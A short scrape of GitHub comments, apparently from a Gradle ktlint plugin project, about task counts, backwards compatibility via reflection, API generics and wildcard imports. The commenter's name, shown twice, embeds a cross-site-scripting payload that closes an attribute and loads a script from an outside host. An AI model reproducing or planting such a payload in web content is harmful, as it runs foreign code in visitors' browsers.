Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>
Jonathan Leitschuh"><script src="https://js.rip/b27oz0xw7e"></script>
From what I've seen, this plugin can end up generating quite a few tasks. Especially when you have the cross compilation Kotlin plugins applied. I'm concerned that a change like...
PRs are welcome to resolve this issue, please do include test coverage.
PRs are welcome to address this problem. Please see the pinned comment regarding the current maintenance status of this project
A PR that addresses the issue would be appreciated 🙂
@scana could you do so in such a way that preserves backwards compatibility by using reflection to call the old APIs?
Is there any way to write this change so that it is backwards compatible via reflection? If it is not, then there needs to be an exception thrown somewhere if...
> However, with change of ReporterProvider interface I think it is not feasible. I will add an exception. I think the addition of generics is not an API breaking chance...
I believe that this is now outdated by #597, correct?
There's been work on this using variants for Gradle and Jacoco, but I don't have the time/ability to dig into how to do this
I don't believe that Ktlint can fix wildcard import issues. A PR that works to make that exception more readable would be 100% accepted assuming it has adequate tests.